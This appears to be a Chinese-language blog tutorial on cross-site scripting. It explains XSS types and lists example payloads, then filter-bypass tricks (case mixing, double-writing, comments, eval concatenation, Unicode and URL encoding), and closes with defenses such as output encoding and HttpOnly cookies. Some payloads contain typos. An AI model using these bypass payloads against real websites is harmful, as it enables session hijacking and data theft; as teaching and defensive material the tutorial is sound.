声明:本文章仅做技术交流,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关,如有不妥请联系本人删除。
XSS概述
产生原因
XSS漏洞产生的主要原因是由于程序对输入和输入的控制不够严格 ,导致构建的恶意代码 输入后,在前端浏览的时候被当作有效的代码解析执行从而产生危害。
危害
1)网络钓鱼,盗取各种用户账户。 2)窃取用户的cookies资料,从而获取用户隐私信息。 3)弹出广告页面,获取相关利益。 4)劫持用户会话,执行任意操作。 5)传播蠕虫病毒
XSS分类
反射型
反射型XSS是将用户输入的内容作为代码让浏览器对其进行执行达到攻击的目的,一般需要引诱用户访问攻击者构建的URL 。这种类型的攻击指发生在客户端 上,并且需要访问带有恶意的参数特制的URL,所以也称之为非持久型XSS。
存储型
存储型XSS是将攻击脚本永远嵌入 某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。
DOM型
不经过后端,仅仅是通过网页本身的JavaScript进行渲染触发的。
DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的。
基于DOM型的XSS漏洞是不需要与服务器端交互,它只发生在客户端处理数据的阶段。
前置知识
xss注入主要利用的是html的代码内容。
还有一些特殊的伪协议的利用。
如果看不懂就去找相应的前置知识查看学习。
xss攻击
常用标签
<script>
<scirpt>alert("xss");</script>
<img>
图片加载错误时触发
示例:<img src="x" onerror=alert(1)>
鼠标指针移动到元素时触发
示例:<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
示例:<img src=1 onmouseout="alert(1")>
<a>
<a href="http://www.qq.com">qq</a>
<a href=javascript:alert('1')>test</a>
<input>
按下按键时触发
示例:<input type="text" onkeydown="alert(1)">
按下按键时触发
示例:<input type="text" onkeypress="alert(1)">
松开按键式时触发
示例:<input type="text" onkeyup="alert(1)">
竞争焦点,从而触发onblur事件
示例:<input onblur=alert("xss") autofocus><input autofocus>
<style>
<style οnlοad=alert(1)></style>
协议
伪协议:javascript:alert(1)
<a href=javascript:alert(1)>dd</a>
除此之外还有:
http://
ftp://
weixin://
weishi://
dy://
事件型
还有一些事件型的内容,在前面也有穿插:
οnerrοr=alert(1) 加载图片失败
οnlοad= 加载成功
οninput= 当框有输入的时候才会触发
οnclick=点击
οnfοcus=对象获得焦点
攻击流程
xss的攻击流程就是在输入框注入合理的内容,然后进行触发拿到想要的内容。
绕过
关键字
在网站或者waf中,可能都会对xss的关键攻击内容进行黑白名单的处理,会禁掉一些如input、JavaScript的特殊内容,这里就涉及到了一些绕过手法:
大小写绕过
html对于大小写不敏感,可以利用大小写混淆过去。
双写绕过
如:<input oonnfocus="alert('xss');">
空格、回车、tab绕过
空格示例:<img src="javascript:alert('xss');">替换为:<img src="java script:alert('xss');">
注释绕过
示例:<script>alert()</script>替换为:<scri<!--2-->pt>alert()</sc<!--8-->ript>
字符拼接
示例:
<img src="x" οnerrοr="a=aler;b=t;c='(xss);';eval(a+b+c)">
利用top
示例:
<script>top"al"+"ert";</script>
编码绕过
Unicode编码
示例:<img src="javascript:
alert('xs
15;');">
url编码
<img src="javascript:
%61%6C%65%72%74%28%22%78%73%73%22%29%3B;">
ascii编码
base64编码
url
遇到过滤url时,也可使用以下的方式对url进行绕过:
1、url编码绕过
如:
<img src="x" οnerrοr=
document.location=
'http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/'>
2、ip地址绕过
单双引号
当过滤的是单引号、双引号时,可以使用JavaScript伪协议绕过,具体使用方法前面有写,这里就不赘述了。
<>
当网站使用escape()函数时:函数不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换,因此这里只能自己构造闭合
';alert(1);'
xss防御
对用户输入的内容及访问的URL进行过滤,对输出内容进行编码,简单来说就是将用户提交的所有内容都进行过滤,排除关键字,敏感内容,对URL的参数也进行一定的过滤,并且对动态输出到页面的内容进行html编码,转换为html实体,使其用户输入的恶意代码无法在浏览器中执行。
具体方法有:
对内容进行黑白名单的过滤
使用http only属性,限制客户端js脚本获取cookie信息
控制输入内容的长度
明确输入内容过滤不合理内容
什么是http-only? HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话) 通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题,这表明该cookie在客户端上不可访问。